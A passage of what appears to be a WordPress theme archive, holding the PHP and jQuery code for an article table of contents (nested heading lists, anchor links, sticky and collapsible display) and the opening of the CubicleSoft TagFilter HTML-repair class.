			$class[] = 'penci-toc-container';
			$class[] = 'max-lv-' . $max_lv;
			$class[] = get_theme_mod( 'penci_toc_style' );
			$class[] = get_theme_mod( 'penci_toc_visibility' ) ? 'dis-toggle' : 'enable-toggle';

			$class        = array_filter( $class );
			$class        = array_map( 'trim', $class );
			$class        = array_map( 'sanitize_html_class', $class );
			$sticky_class = 'sticky-' . get_theme_mod( 'penci_toc_sticky', 'left' );

			$html .= '<div class="penci-toc-container-wrapper ' . $sticky_class . '"><div id="penci-toc-container" class="' . implode( ' ', $class ) . '">' . PHP_EOL;

			$html .= $this->get_css_based_toc_heading( $options );

			ob_start();
			do_action( 'penci_toc_before' );
			$html .= ob_get_clean();

			$html .= '<nav class="penci-toc">' . $this->getTOCList( 'penci-toc', $options ) . '</nav>';

			ob_start();
			do_action( 'penci_toc_after' );
			$html .= ob_get_clean();

			$html .= '</div></div>' . PHP_EOL;

		}

		return apply_filters( 'pencitoc_autoinsert_final_toc_html', $html );
	}

	//css based heaing function
	private function get_css_based_toc_heading( $options ) {

		$toc_title = penci_get_setting( 'penci_toc_heading_text' );
		if ( strpos( $toc_title, '%PAGE_TITLE%' ) !== false ) {
			$toc_title = str_replace( '%PAGE_TITLE%', get_the_title(), $toc_title );
		}
		if ( strpos( $toc_title, '%PAGE_NAME%' ) !== false ) {
			$toc_title = str_replace( '%PAGE_NAME%', get_the_title(), $toc_title );
		}

		$html = '<div class="penci-toc-head penci-toc-title-container">' . PHP_EOL;
		if ( penci_get_setting( 'penci_toc_heading_text' ) ) {
			$html .= '<p class="penci-toc-title">' . esc_html__( htmlentities( $toc_title, ENT_COMPAT, 'UTF-8' ), 'soledad' ) . '</p>' . PHP_EOL;
		}
		$html .= '<span class="penci-toc-title-toggle">';
		if ( ! get_theme_mod( 'penci_toc_visibility' ) ) {
			$html .= '<a class="penci-toc-toggle penci-toc-title-toggle" style="display: none;"></a>';
		}
		$html .= '</span>';
		$html .= '</div>' . PHP_EOL;

		return $html;
	}

	public function toc() {
		//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped in getTOC()
		echo $this->getTOC();
	}

	private function createTOC( $page, $matches, $prefix = "penci-toc", $toc_more = array() ) {

		// Whether or not the TOC should be built flat or hierarchical.
		$hierarchical = get_theme_mod( 'penci_toc_show_hierarchy', true );

		if ( isset( $toc_more['hierarchy'] ) ) {
			$hierarchical = true;
		} elseif ( isset( $toc_more['no_hierarchy'] ) ) {
			$hierarchical = false;
		}

		$html = $toc_type = $collapse_status = '';

		if ( isset( $toc_more['collapse_hd'] ) ) {
			$collapse_status = true;
		} elseif ( isset( $toc_more['no_collapse_hd'] ) ) {
			$collapse_status = false;
		}

		$count_matches = is_array( $matches ) ? count( $matches ) : '';

		$toc_type = get_theme_mod( 'penci_toc_toc_loading' );

		if ( $hierarchical ) {

			//To not show view more in Hierarchy
			unset( $toc_more['view_more'] );

			$current_depth      = 100;    // headings can't be larger than h6 but 100 as a default to be sure
			$numbered_items     = array();
			$numbered_items_min = null;

			// find the minimum heading to establish our baseline
			foreach ( $matches as $i => $match ) {
				if ( $current_depth > $matches[ $i ][2] ) {
					$current_depth = (int) $matches[ $i ][2];
				}
			}

			$numbered_items[ $current_depth ] = 0;
			$numbered_items_min               = $current_depth;

			foreach ( $matches as $i => $match ) {

				$level = $matches[ $i ][2];
				$count = $i + 1;

				if ( $current_depth == (int) $matches[ $i ][2] ) {

					$html .= "<li class='{$prefix}-page-" . $page . " {$prefix}-heading-level-" . $current_depth . "'>";
				}

				// start lists
				if ( $current_depth != (int) $matches[ $i ][2] ) {

					for ( $current_depth; $current_depth < (int) $matches[ $i ][2]; $current_depth ++ ) {

						$numbered_items[ $current_depth + 1 ] = 0;
						//Hide Level 4 Headings
						$sub_active = '';
						if ( $level > 3 ) {
							$sub_active = apply_filters( 'penci_toc_hierarchy_js_add_attr', $sub_active, $collapse_status );
						}
						$html .= "<ul class='{$prefix}-list-level-" . $level . "' " . $sub_active . "><li class='{$prefix}-heading-level-" . $level . "'>";
					}
				}

				$title = isset( $matches[ $i ]['alternate'] ) ? $matches[ $i ]['alternate'] : $matches[ $i ][0];
				//check for line break
				if ( ! get_theme_mod( 'penci_toc_prsrv_line_brk' ) ) {
					$title = br2( $title, ' ' );
				}
				$title = penci_toc_wp_strip_all_tags( apply_filters( 'penci_toc_title', $title ) );

				$html .= $this->createTOCItemAnchor( $matches[ $i ]['page'], $matches[ $i ]['id'], $title, $count );

				// end lists
				if ( $i != count( $matches ) - 1 ) {

					if ( $current_depth > (int) $matches[ $i + 1 ][2] ) {

						for ( $current_depth; $current_depth > (int) $matches[ $i + 1 ][2]; $current_depth -- ) {

							$html                             .= '</li></ul>';
							$numbered_items[ $current_depth ] = 0;
						}
					}

					if ( $current_depth == (int) $matches[ $i + 1 ][2] ) {

						$html .= '</li>';
					}

				} else {

					// this is the last item, make sure we close off all tags
					for ( $current_depth; $current_depth >= $numbered_items_min; $current_depth -- ) {

						$html .= '</li>';

						if ( $current_depth != $numbered_items_min ) {
							$html .= '</ul>';
						}
					}
				}
			}

		} else {
			if ( is_array( $matches ) ) {
				foreach ( $matches as $i => $match ) {
					$count = $i + 1;
					$title = isset( $matches[ $i ]['alternate'] ) ? $matches[ $i ]['alternate'] : $matches[ $i ][0];
					$title = penci_toc_wp_strip_all_tags( apply_filters( 'penci_toc_title', $title ) );
					$html  .= "<li class='{$prefix}-page-" . $page . "'>";
					$html  .= $this->createTOCItemAnchor( $matches[ $i ]['page'], $matches[ $i ]['id'], $title, $count );
					$html  .= '</li>';
				}
			}
		}

		$html = apply_filters( 'penci_toc_pro_html_modifier', $html, $toc_more, $count_matches, $toc_type );

		return do_shortcode( $html );
	}

	private function createTOCItemAnchor( $page, $id, $title, $count ) {
		if ( get_theme_mod( 'penci_toc_remove_special_chars_from_title' ) ) {
			$title = str_replace( ':', '', $title );
		}

		$anch_name = 'href';
		if ( get_theme_mod( 'penci_toc_loading' ) == 'js' && get_theme_mod( 'penci_toc_smooth_scroll' ) && get_theme_mod( 'penci_toc_avoid_anch_jump' ) ) {
			$anch_name = 'href="#" data-href';
		}

		$rel = get_theme_mod( 'penci_toc_nofollow_link' ) ? ' rel="nofollow" ' : ' ';

		return sprintf(
			'<a' . $rel . 'class="penci-toc-link penci-toc-heading-' . $count . '" ' . $anch_name . '="%1$s" title="%2$s">%3$s</a>',
			esc_url( $this->createTOCItemURL( $id, $page ) ),
			esc_attr( wp_strip_all_tags( $title ) ),
			$title
		);
	}

	private function createTOCItemURL( $id, $page ) {

		$prefix = get_theme_mod( 'penci_toc_prefix', 'penci' );
		$prefix = $prefix ? $prefix . '-' : '';

		$current_post = $this->post->ID === $this->queriedObjectID;
		$current_page = $this->getCurrentPage();

		$anch_url = $this->permalink;

		if ( get_theme_mod( 'penci_toc_ajax_load_more' ) && isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) {
			$anch_url = $_SERVER['HTTP_REFERER'];
		}

		if ( $page === $current_page && $current_post ) {

			return ( get_theme_mod( 'penci_toc_add_request_uri' ) ? $_SERVER['REQUEST_URI'] : '' ) . '#' . $prefix . $id;

		} elseif ( 1 === $page ) {
			// Fix for wrong links on TOC on Wordpress category page
			if ( is_category() || is_tax() || is_tag() || ( function_exists( 'is_product_category' ) && is_product_category() ) ) {
				return '#' . $id;
			}

			return trailingslashit( $anch_url ) . '#' . $prefix . $id;

		}

		return trailingslashit( $anch_url ) . $page . '/#' . $prefix . $id;
	}

	private function stripShortcodesButKeepContent( $content ) {
		// Regex pattern to match the specific shortcodes
		$shortcodes = apply_filters( 'penci_toc_strip_shortcodes_with_inner_content', [] );
		if ( ! empty( $shortcodes ) && is_array( $shortcodes ) ) {

			$pattern = '/\[(' . implode( '|', $shortcodes ) . ')(?:\s[^\]]*)?\](.*?)\[\/\1\]|\[(' . implode( '|', $shortcodes ) . ')(?:\s[^\]]*)?\/?\]/s';

			// Function to recursively strip shortcodes
			while ( preg_match( $pattern, $content ) ) {
				$content = preg_replace_callback( $pattern, function ( $matches ) {
					if ( isset( $matches[2] ) ) {
						return $matches[2]; // Keep content inside shortcode
					}

					return ''; // Remove self-closing shortcode
				}, $content );
			}

		}

		return $content;
	}
}PK     N\捦7  7    inc/toc/penci-toc.jsnu [        jQuery(document).ready(function ($) {

    function penci_init_toc() {

        if (typeof PenciTOC != 'undefined') {

            $('article.post').each(function () {
                var $post = $(this),
                    $sticky = $post.find('.penci-toc-container-wrapper'),
                    $stickyrStopper = $post.find('.post-entry'),
                    $stickC = $sticky.clone();


                $stickC.addClass('penci-sticky-toc');
                $stickC.find('.penci-toc-container')
                    .attr('id', 'penci-toc-sticky-container')
                    .addClass('hide-table');
                $stickC.find('a.penci-toc-toggle').addClass('sticky-toggle');
                if ($('body').hasClass('penci-aw-sticky')) {
                    $stickC.addClass('tocSticky');
                }
                $stickyrStopper.append($stickC);

                if (!!$sticky.offset()) { // make sure ".sticky" element exists

                    var asticky = $('body').hasClass('penci-aw-sticky'),
                        generalSidebarHeight = asticky ? 0 : $sticky.innerHeight(),
                        stickyTop = asticky ? 0 : $sticky.offset().top,
                        stickOffset = asticky ? 0 : 120,
                        innerset = stickOffset - generalSidebarHeight - 60,
                        outerset = stickOffset - $stickyrStopper.innerHeight() + 60;

                    $(window).scroll(function () {
                        var windowTop = $(window).scrollTop(),

                            shouldAddClass = asticky ? stickyTop > windowTop + outerset : stickyTop < windowTop + innerset && stickyTop > windowTop + outerset;

                        $stickC.toggleClass('tocSticky', shouldAddClass);


                        
                    });

                }
            });

            if (window.location.hash) {

                var path = window.location.hash;

                if (path.startsWith("#" + PenciTOC.prefix)) {

                    var offset = -120,
                        hash = window.location.hash.substring(1);

                    if (!hash) {
                        return;
                    }

                    var sel = '[id="' + hash + '"], a[name="' + hash + '"]';
                    var currentOffset = $(sel).offset().top;

                    // smooth scroll to the anchor id
                    $('html, body').animate({
                        scrollTop: (currentOffset + offset) + 'px'
                    }, 1000, 'swing');
                }
            }


            $.fn.shrinkTOCWidth = function () {

                $(this).css({
                    width: 'auto',
                    display: 'table'
                });

                if (/MSIE 7\./.test(navigator.userAgent))
                    $(this).css('width', '');
            };

            var smoothScroll = parseInt(PenciTOC.smooth_scroll);

            if (1 === smoothScroll) {

                $('a.penci-toc-link').off().on('click', function () {

                    var self = $(this);

                    var target = '';
                    var hostname = self.prop('hostname');
                    var pathname = self.prop('pathname');
                    var qs = self.prop('search');
                    var hash = self.prop('hash');

                    // ie strips out the preceding / from pathname
                    if (pathname.length > 0) {
                        if (pathname.charAt(0) !== '/') {
                            pathname = '/' + pathname;
                        }
                    }

                    if ((window.location.hostname === hostname) &&
                        (window.location.pathname === pathname) &&
                        (window.location.search === qs) &&
                        (hash !== '')
                    ) {
                        // var id = decodeURIComponent( hash.replace( '#', '' ) );
                        //target = '[id="' + hash.replace('#', '') + '"]';
                        target = $(this).attr('href');

                        var parentClass;
                        if ($('.penci-single-infiscroll').length) {
                            parentClass = $(this).closest('.penci-single-block').find('#main article').attr('id');
                        }

                        if (typeof parentClass !== 'undefined' && parentClass !== false) {
                            target = '#' + parentClass + ' ' + target;
                        }

                        // verify it exists
                        if ($(target).length === 0) {
                            console.log('PenciTOC scrollTarget Not Found: ' + target);
                            target = '';
                        }

                        // check offset setting
                        if (typeof PenciTOC.scroll_offset != 'undefined') {

                            var offset = -1 * PenciTOC.scroll_offset;

                        } else {

                            var adminbar = $('#wpadminbar');

                            if (adminbar.length > 0) {

                                if (adminbar.is(':visible'))
                                    offset = -30;	// admin bar exists, give it the default
                                else
                                    offset = 0;		// there is an admin bar but it's hidden, so no offset!

                            } else {

                                // no admin bar, so no offset!
                                offset = 0;
                            }
                        }

                        if (target) {
                            $.smoothScroll({
                                scrollTarget: target,
                                offset: offset,
                                beforeScroll: deactivateSetActivePenciTocListElement,
                                afterScroll: function () {
                                    setActivePenciTocListElement();
                                    activateSetActivePenciTocListElement();
                                }
                            });
                        }
                    }
                });
            }

            if (typeof PenciTOC.visibility_hide_by_default != 'undefined') {

                $('article.post').each(function () {

                    var post = $(this),
                        toc = post.find('.penci-toc-container-wrapper:not(.penci-sticky-toc) ul.penci-toc-list'),
                        toggle = post.find('a.penci-toc-toggle:not(.sticky-toggle)'),
                        wrapper = post.find('.penci-toc-container-wrapper:not(.penci-sticky-toc) .penci-toc-wrapper'),
                        swrapper = post.find('.penci-sticky-toc .penci-toc-wrapper'),
                        mswrapper = post.find('.penci-sticky-toc'),
                        stoggle = post.find('.penci-sticky-toc a.sticky-toggle'),
                        stoc = post.find('.penci-sticky-toc ul.penci-toc-list'),
                        invert = PenciTOC.visibility_hide_by_default;

                    toggle.css('display', 'inline');
                    stoggle.css('display', 'inline');

                    if (Cookies) {

                        Cookies.get('penciTOC_hidetoc') == 1 ? toggle.data('visible', false) : toggle.data('visible', true);

                    } else {

                        toggle.data('visible', true);
                    }

                    if (invert) {

                        toggle.data('visible', false)
                    }

                    if (!toggle.data('visible')) {

                        toc.hide();
                        wrapper.removeClass('show-table').addClass('hide-table');
                    }

                    toggle.off().on('click', function (event) {

                        event.preventDefault();

                        if ($(this).data('visible')) {

                            $(this).data('visible', false);

                            if (Cookies) {

                                if (invert)
                                    Cookies.set('penciTOC_hidetoc', null, {path: '/'});
                                else
                                    Cookies.set('penciTOC_hidetoc', '1', {expires: 30, path: '/'});
                            }

                            toc.hide('fast');
                            wrapper.removeClass('show-table').addClass('hide-table');

                        } else {

                            $(this).data('visible', true);

                            if (Cookies) {

                                if (invert)
                                    Cookies.set('penciTOC_hidetoc', '1', {expires: 30, path: '/'});
                                else
                                    Cookies.set('penciTOC_hidetoc', null, {path: '/'});
                            }

                            toc.show('fast');
                            wrapper.removeClass('hide-table').addClass('show-table');

                        }

                    });

                    stoggle.data('visible', false);
                    stoc.hide();
                    mswrapper.addClass('hide-table');

                    stoggle.off().on('click', function (event) {
                        event.preventDefault();
                        if ($(this).data('visible')) {
                            $(this).data('visible', false);
                            stoc.hide('fast');
                            swrapper.removeClass('show-table').addClass('hide-table');
                            mswrapper.removeClass('show-table').addClass('hide-table');
                        } else {
                            $(this).data('visible', true);
                            stoc.show('fast');
                            swrapper.removeClass('hide-table').addClass('show-table');
                            mswrapper.removeClass('hide-table').addClass('show-table');
                        }
                    });
                });
            }

            // ======================================
            // Set active heading in penci-toc-widget list
            // ======================================

            var getPenciTocListElementLinkByHeading = function (heading) {
                return $('.penci-sticky-toc .penci-toc-list a[href="#' + $(heading).attr('id') + '"]');
            }

            var getHeadingToListElementLinkMap = function (headings) {
                return headings.reduce(function (map, heading) {
                    map[heading.id] = getPenciTocListElementLinkByHeading(heading);
                    return map;
                }, {});
            }

            var headings = $('span.penci-toc-section').toArray();
            var headingToListElementLinkMap = getHeadingToListElementLinkMap(headings);
            var listElementLinks = $.map(headingToListElementLinkMap, function (value, key) {
                return value
            });

            var getScrollOffset = function () {
                var scrollOffset = 5; // so if smooth offset is off, the correct title is set as active
                if (typeof PenciTOC.smooth_scroll != 'undefined' && parseInt(PenciTOC.smooth_scroll) === 1) {
                    scrollOffset = (typeof PenciTOC.scroll_offset != 'undefined') ? parseInt(PenciTOC.scroll_offset) : 30;
                }

                var adminbar = $('#wpadminbar');

                if (adminbar.length) {
                    scrollOffset += adminbar.height();
                }
                return scrollOffset;
            }

            var scrollOffset = getScrollOffset();

            var activateSetActivePenciTocListElement = function () {
                if (headings.length > 0 && $('.penci-sticky-toc').length) {
                    $(window).on('load resize scroll', setActivePenciTocListElement);
                }
            }

            activateSetActivePenciTocListElement();

            var setActivePenciTocListElement = function () {
                var activeHeading = getActiveHeading(scrollOffset, headings);
                if (activeHeading) {
                    var activeListElementLink = headingToListElementLinkMap[activeHeading.id];
                    removeStyleFromNonActiveListElement(activeListElementLink, listElementLinks);
                    setStyleForActiveListElementElement(activeListElementLink);
                }
            }

            var deactivateSetActivePenciTocListElement = function () {
                $(window).off('load resize scroll', setActivePenciTocListElement);
            }


            var getActiveHeading = function (topOffset, headings) {
                var scrollTop = $(window).scrollTop();
                var relevantOffset = scrollTop + topOffset + 1;
                var activeHeading = headings[0];
                var closestHeadingAboveOffset = relevantOffset - $(activeHeading).offset().top;
                headings.forEach(function (section) {
                    var topOffset = relevantOffset - $(section).offset().top;
                    if (topOffset > 0 && topOffset < closestHeadingAboveOffset) {
                        closestHeadingAboveOffset = topOffset;
                        activeHeading = section;
                    }
                });
                return activeHeading;
            }

            var removeStyleFromNonActiveListElement = function (activeListElementLink, listElementLinks) {
                listElementLinks.forEach(function (listElementLink) {
                    if (activeListElementLink !== listElementLink && listElementLink.parent().hasClass('active')) {
                        listElementLink.parent().removeClass('active');
                    }
                });
            }

            var setStyleForActiveListElementElement = function (activeListElementLink) {
                var activeListElement = activeListElementLink.parent();
                if (!activeListElement.hasClass('active')) {
                    activeListElement.addClass('active');
                }
            }
        }
    }

    penci_init_toc();

    $('body').on('single_loaded_more', function () {
        penci_init_toc();
    });
});
PK     N\-5    inc/toc/tag_filter.phpnu [        <?php
	// CubicleSoft PHP Tag Filter class.  Can repair broken HTML.
	// (C) 2020 CubicleSoft.  All Rights Reserved.

	class TagFilterStream
	{
		protected $lastcontent, $lastresult, $final, $options, $stack;

		public function __construct($options = array())
		{
			$this->Init($options);
		}

		public function Init($options = array())
		{
			if (!isset($options["keep_attr_newlines"]))  $options["keep_attr_newlines"] = false;
			if (!isset($options["keep_comments"]))  $options["keep_comments"] = false;
			if (!isset($options["allow_namespaces"]))  $options["allow_namespaces"] = true;
			if (!isset($options["process_attrs"]))  $options["process_attrs"] = array();
			if (!isset($options["charset"]))  $options["charset"] = "UTF-8";
			$options["charset"] = strtoupper($options["charset"]);
			if (!isset($options["charset_tags"]))  $options["charset_tags"] = true;
			if (!isset($options["charset_attrs"]))  $options["charset_attrs"] = true;
			if (!isset($options["tag_name_map"]))  $options["tag_name_map"] = array();
			if (!isset($options["untouched_tag_attr_keys"]))  $options["untouched_tag_attr_keys"] = array();
			if (!isset($options["void_tags"]))  $options["void_tags"] = array();
			if (!isset($options["alt_tag_content_rules"]))  $options["alt_tag_content_rules"] = array();
			if (!isset($options["pre_close_tags"]))  $options["pre_close_tags"] = array();
			if (!isset($options["output_mode"]))  $options["output_mode"] = "html";
			if (!isset($options["lowercase_tags"]))  $options["lowercase_tags"] = true;
			if (!isset($options["lowercase_attrs"]))  $options["lowercase_attrs"] = true;
			$options["tag_num"] = 0;

			$this->lastcontent = "";
			$this->lastresult = "";
			$this->final = false;
			$this->options = $options;
			$this->stack = array();
		}

		public function Process($content)
		{
			if ($this->lastcontent !== "")  $content = $this->lastcontent . $content;

			$result = $this->lastresult;
			$this->lastresult = "";
			$tag = false;
			$a = ord("A");
			$a2 = ord("a");
			$f = ord("F");
			$f2 = ord("f");
			$z = ord("Z");
			$z2 = ord("z");
			$hyphen = ord("-");
			$underscore = ord("_");
			$period = ord(".");
			$colon = ord(":");
			$zero = ord("0");
			$nine = ord("9");
			$cx = 0;
			$cy = strlen($content);
			while ($cx < $cy)
			{
				if ($tag)
				{
					$firstcx = $cx;

					// First character is '<'.  Extract all non-alpha chars.
					$prefix = "";
					$startpos = $cx + 1;
					for ($x = $startpos; $x < $cy; $x++)
					{
						$val = ord($content[$x]);
						if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2))
						{
							if ($x > $cx + 1)  $prefix = ltrim(substr($content, $cx + 1, $x - $cx - 1));
							$startpos = $x;

							break;
						}
					}

					if ($prefix === "")  $open = true;
					else
					{
						if ($prefix[0] === "!")
						{
							// !DOCTYPE vs. comment.
							if (substr($prefix, 0, 3) !== "!--")
							{
								$prefix = "!";
								$open = true;
							}
							else
							{
								// Comment.
								$pos = strpos($content, "!--", $cx);
								$pos2 = strpos($content, "-->", $pos + 3);
								if ($pos2 === false)
								{
									if (!$this->final)
									{
										$cx = $firstcx;

										break;
									}

									$pos2 = $cy;
								}

								if ($this->options["keep_comments"])
								{
									$content2 = substr($content, $pos + 3, $pos2 - $pos - 3);
									if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($content2))  $content2 = self::MakeValidUTF8($content2);
									$content2 = "<!-- " . trim(htmlspecialchars($content2, ENT_COMPAT | ENT_HTML5, $this->options["charset"])) . " -->";

									// Let a callback handle any necessary changes.
									if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

									$result .= $content2;
								}
								$cx = $pos2 + 3;

								$tag = false;

								continue;
							}
						}
						else if ($prefix[0] === "/")
						{
							// Close tag.
							$prefix = "/";
							$open = false;
						}
						else if ($prefix[0] === "<")
						{
							// Stray less than.  Encode and reset.
							$content2 = "&lt;";

							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;
							$cx++;

							continue;
						}
						else
						{
							// Unknown.  Encode it.
							$data = substr($content, $cx, strpos($content, $prefix, $cx) + strlen($prefix) - $cx);
							$content2 = $data;
							if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($content2))  $content2 = self::MakeValidUTF8($content2);
							$content2 = htmlspecialchars($content2, ENT_COMPAT | ENT_HTML5, $this->options["charset"]);

							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;
							$cx += strlen($data);

							$tag = false;

							continue;
						}
					}

					// Read the tag name.
					$tagname = "";
					$parse = false;
					$cx = $startpos;
					for (; $cx < $cy; $cx++)
					{
						$val = ord($content[$cx]);
						if ($val > 127)  $parse = true;
						else if (!(($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || ($cx > $startpos && (($val >= $zero && $val <= $nine) || $val == $hyphen || $val == $underscore || $val == $period)) || ($this->options["allow_namespaces"] && $val == $colon)))  break;
					}
					$tagname = substr($content, $startpos, $cx - $startpos);
					if ($parse)
					{
						if ($this->options["charset_tags"] && $this->options["charset"] === "UTF-8")  $tagname = (self::IsValidUTF8($tagname) ? $tagname : self::MakeValidUTF8($tagname));
						else  $tagname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._-]/' : '/[^A-Za-z0-9._-]/'), "", $tagname);
					}
					$tagname = rtrim($tagname, "._-:");
					if (!$this->options["charset_tags"])  $tagname = preg_replace('/[^A-Za-z0-9:]/', "", $tagname);
					$outtagname = ($this->options["lowercase_tags"] ? strtolower($tagname) : $tagname);
					$tagname = strtolower($tagname);

					// Close open tags in the stack that match the set of tags to look for to close.
					if ($open && isset($this->options["pre_close_tags"][$tagname]))
					{
						// Find matches.
						$info2 = $this->options["pre_close_tags"][$tagname];
						$limit = (isset($info2["_limit"]) ? $info2["_limit"] : array());
						if (is_string($limit))  $limit = array($limit => true);

						// Unwind the stack.
						do
						{
							$found = false;
							foreach ($this->stack as $info)
							{
								if (isset($info2[$info["tag_name"]]))
								{
									$found = true;

									break;
								}

								if (isset($limit[$info["tag_name"]]))  break;
							}

							if ($found)
							{
								do
								{
									// Let a callback handle any necessary changes.
									$attrs = array();
									if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
									else  $funcresult = array();

									if (!isset($funcresult["keep_tag"]))  $funcresult["keep_tag"] = true;

									$info = array_shift($this->stack);

									$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
									if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
								} while (!isset($info2[$info["tag_name"]]));
							}
						} while ($found);
					}

					// Process attributes/properties until a closing condition is encountered.
					$state = "name";
					$voidtag = false;
					$attrs = array();
					do
					{
						if ($state === "name")
						{
							// Find attribute key/property.
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "/")
								{
									$pos = strpos($content, ">", $x + 1);
									if ($pos !== false && trim(substr($content, $x + 1, $pos - $x - 1)) === "")
									{
										$cx = $pos;
										$voidtag = true;

										$state = "exit";

										break;
									}
								}
								else if ($content[$x] === "\"" || $content[$x] === "'" || $content[$x] === "`")
								{
									$pos = strpos($content, $content[$x], $x + 1);
									if ($pos === false)  $content .= $content[$x];
									else if (isset($this->options["untouched_tag_attr_keys"][$tagname]))
									{
										$keyname = substr($content, $x, $pos - $x + 1);
										$cx = $pos + 1;

										$state = "equals";
									}
									else
									{
										$keyname = substr($content, $x + 1, $pos - $x - 1);
										if ($this->options["lowercase_attrs"])  $keyname = strtolower($keyname);
										if (preg_match('/<\s*\/\s*' . $tagname . '(\s*|\s+.+?)>/is', strtolower($keyname)) || (count($this->stack) && preg_match('/<\s*\/\s*' . $this->stack[0]["tag_name"] . '(\s*|\s+.+?)>/is', strtolower($keyname))))
										{
											// Found a matching close tag within the key name.  Bail out.
											$state = "exit";

											break;
										}
										else
										{
											$keyname = preg_replace('/[^' . ($this->options["lowercase_attrs"] ? "" : "A-Z") . 'a-z' . ($this->options["allow_namespaces"] ? ":" : "") . ']/', "", $keyname);
											if ($this->options["allow_namespaces"])  $keyname = rtrim($keyname, ":");
											$cx = $pos + 1;

											$state = "equals";
										}
									}

									break;
								}
								else
								{
									$val = ord($content[$x]);
									if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2))
									{
										$cx = $x;
										$parse = false;

										for (; $cx < $cy; $cx++)
										{
											if ($content[$cx] === " " || $content[$cx] === "=" || $content[$cx] === "\"" || $content[$cx] === "'" || $content[$cx] === "`" || $content[$cx] === ">" || $content[$cx] === "<" || $content[$cx] === "/" || $content[$cx] === "\0" || $content[$cx] === "\r" || $content[$cx] === "\n" || $content[$cx] === "\t")  break;
											else if (ord($content[$cx]) > 127)  $parse = true;
										}

										$keyname = substr($content, $x, $cx - $x);
										if ($parse && $this->options["charset_attrs"] && $this->options["charset"] === "UTF-8")
										{
											$keyname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._\-\x80-\xFF]/' : '/[^A-Za-z0-9._\-\x80-\xFF]/'), "", $keyname);
											if (!self::IsValidUTF8($keyname))  $keyname = self::MakeValidUTF8($keyname);
										}
										else
										{
											$keyname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._-]/' : '/[^A-Za-z0-9._-]/'), "", $keyname);
										}
										$keyname = rtrim($keyname, "._-:");
										if (!isset($this->options["untouched_tag_attr_keys"][$tagname]) && $this->options["lowercase_attrs"])  $keyname = strtolower($keyname);

										$state = "equals";

										break;
									}
								}
							}

							if ($state === "name")
							{
								$cx = $cy;

								$state = "exit";
							}
						}
						else if ($state === "equals")
						{
							// Find the equals sign OR the start of the next attribute/property.
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "=")
								{
									$cx = $x + 1;

									$state = "value";

									break;
								}
								else if ($content[$x] === "\"" || $content[$x] === "'")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "name";

									break;
								}
								else
								{
									$val = ord($content[$x]);
									if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || ($val >= $zero && $val <= $nine))
									{
										$cx = $x;

										$attrs[$keyname] = true;

										$state = "name";

										break;
									}
								}
							}

							if ($state === "equals")
							{
								$cx = $cy;

								$attrs[$keyname] = true;

								$state = "exit";
							}
						}
						else if ($state === "value")
						{
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "\"" || $content[$x] === "'" || $content[$x] === "`")
								{
									$pos = strpos($content, $content[$x], $x + 1);
									if ($pos === false)  $content .= $content[$x];
									else
									{
										$value = substr($content, $x + 1, $pos - $x - 1);
										$cx = $pos + 1;

										$state = "name";
									}

									break;
								}
								else if ($content[$x] !== "\0" && $content[$x] !== "\r" && $content[$x] !== "\n" && $content[$x] !== "\t" && $content[$x] !== " ")
								{
									$cx = $x;

									for (; $cx < $cy; $cx++)
									{
										if ($content[$cx] === "\0" || $content[$cx] === "\r" || $content[$cx] === "\n" || $content[$cx] === "\t" || $content[$cx] === " " || $content[$cx] === "<" || $content[$cx] === ">")
										{
											break;
										}
									}

									$value = substr($content, $x, $cx - $x);

									$state = "name";

									break;
								}
							}

							if ($state === "value")
							{
								$cx = $cy;

								$attrs[$keyname] = true;

								$state = "exit";
							}

							if ($state === "name")
							{
								if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($value))  $value = self::MakeValidUTF8($value);
								$value = html_entity_decode($value, ENT_QUOTES | ENT_HTML5, $this->options["charset"]);

								// Decode remaining entities.
								$value2 = "";
								$vx = 0;
								$vy = strlen($value);
								while ($vx < $vy)
								{
									$pos = strpos($value, "&#", $vx);
									$pos2 = strpos($value, "\\", $vx);
									if ($pos === false)  $pos = $vy;
									if ($pos2 === false)  $pos2 = $vy;
									if ($pos < $pos2)
									{
										// &#32 or &#x20 (optional trailing semi-colon)
										$value2 .= substr($value, $vx, $pos - $vx);
										$vx = $pos + 2;
										if ($vx < $vy)
										{
											if ($value[$vx] == "x" || $value[$vx] == "X")
											{
												$vx++;
